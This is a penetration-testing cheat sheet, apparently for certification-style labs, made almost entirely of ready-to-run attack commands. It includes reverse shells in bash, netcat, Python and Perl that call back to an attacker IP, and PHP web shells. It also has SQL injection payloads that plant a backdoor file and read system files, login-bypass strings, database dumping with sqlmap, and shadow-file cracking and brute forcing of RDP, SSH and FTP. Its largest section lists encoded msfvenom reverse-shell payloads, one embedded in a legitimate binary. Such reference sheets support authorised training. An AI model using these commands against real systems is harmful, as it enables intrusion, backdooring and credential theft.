Commands

Python Servers
- Web Server
  - * python -m SimpleHTTPServer 80
- FTP Server
  - * Install pyftpdlib
  - * pip install pyftpdlib
  - * Run (-w flag allows anonymous write access)
  - * python -m pyftpdlib -p 21 -w

Reverse Shells
- Bash shell
  - * bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
- Netcat without -e flag
  - * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f

Netcat Linux
- nc -e /bin/sh 10.10.10.10 4443

Netcat Windows
- * nc -e cmd.exe 10.10.10.10 4443

Python
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Perl
- perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Remote Desktop for windows with share and 85% screen
- rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.10

PHP
- PHP command injection from GET Request
  - * <?php echo system($_GET["cmd"]);?>
- * #Alternative
  - * <?php echo shell_exec($_GET["cmd"]);?>

Powershell
- Non-interactive execute powershell file
  - * powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.psl

Misc
- More binaries Path
  - * export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/ucb/

Linux proof
- hostname && whoami && cat proof.txt && /sbin/ifconfig

Windows proof
- hostname && whoami.exe && type proof.txt && ipconfig /all

SSH Tunneling / Pivoting
- sshuttle
  - * sshuttle -vvr user@10.10.10.10 10.1.1.0/24

Local port forwarding
- ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

Remote port forwarding
- ssh <gateway> -R <remote port to bind>:<local host>:<local port>

Dynamic port forwarding
- ssh -D <local proxy port> -p <remote port> <target>

Plink local port forwarding
- plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>

SQL Injection
- # sqlmap crawl
- sqlmap -u http://10.10.10.10 --crawl=1
- sqlmap dump database
- sqlmap -u http://10.10.10.10 --dbms=mysql --dump
- sqlmap shell
- sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell

Upload php command injection file
- union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

Load file
- union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6

Bypasses
- ' or 1=1 LIMIT 1 --
- ' or 1=1 LIMIT 1 -- - ' or 1=1 LIMIT 1# 'or 1# ' or 1=1 -- ' or 1=1 -- -

Brute force
- John the Ripper shadow file
  - * $ unshadow passwd shadow > unshadow.db $ john unshadow.db
- * Hashcat SHA512 6 shadow filehashcat -m 1800 -a 0 hash.txt rockyou.txt --username # Hashcat MD5 1 shadow file hashcat -m 500 -a 0 hash.txt rockyou.txt --usernameHashcat MD5 Apache webdav filehashcat -m 1600 -a 0 hash.txt rockyou.txtHashcat SHA1hashcat -m 100 -a 0 hash.txt rockyou.txt --forceHashcat Wordpresshashcat -m 400 -a 0 --remove hash.txt rockyou.txt

RDP user with password list
- ncrack -vv --user offsec -P passwords rdp://10.10.10.10

SSH user with password list
- hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22

FTP user with password list
- medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp

MSFVenom Payloads
- # PHP reverse shell
  - * msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f raw -o shell.php
- # Java WAR reverse shell
  - * msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war -o shell.war
- # Linux bind shell
  - * msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x20" -e x86/shikata_ga_nai
- # Linux FreeBSD reverse shell
  - * msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f elf -o shell.elf
- # Linux C reverse shell
  - * msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f c
- # Windows non staged reverse shell
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o non_staged.exe
- # Windows Staged (Meterpreter) reverse shell
  - * msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -f exe -o meterpreter.exe
- # Windows Python reverse shell
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f python -o shell.py
- # Windows ASP reverse shell
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f asp -e x86/shikata_ga_nai -o shell.asp
- # Windows ASPX reverse shell
  - * msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -o shell.aspx
- # Windows JavaScript reverse shell with nops
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f js_le -e generic/none -n 18
- # Windows Powershell reverse shell
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e x86/shikata_ga_nai -i 9 -f psh -o shell.ps1
- # Windows reverse shell excluding bad characters
  - * msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4443 EXITFUNC=thread -f c -b "\x00\x04" -e x86/shikata_ga_nai
- # Windows x64 bit reverse shell
  - * msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o shell.exe
- # Windows reverse shell embedded into plink
  - * msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe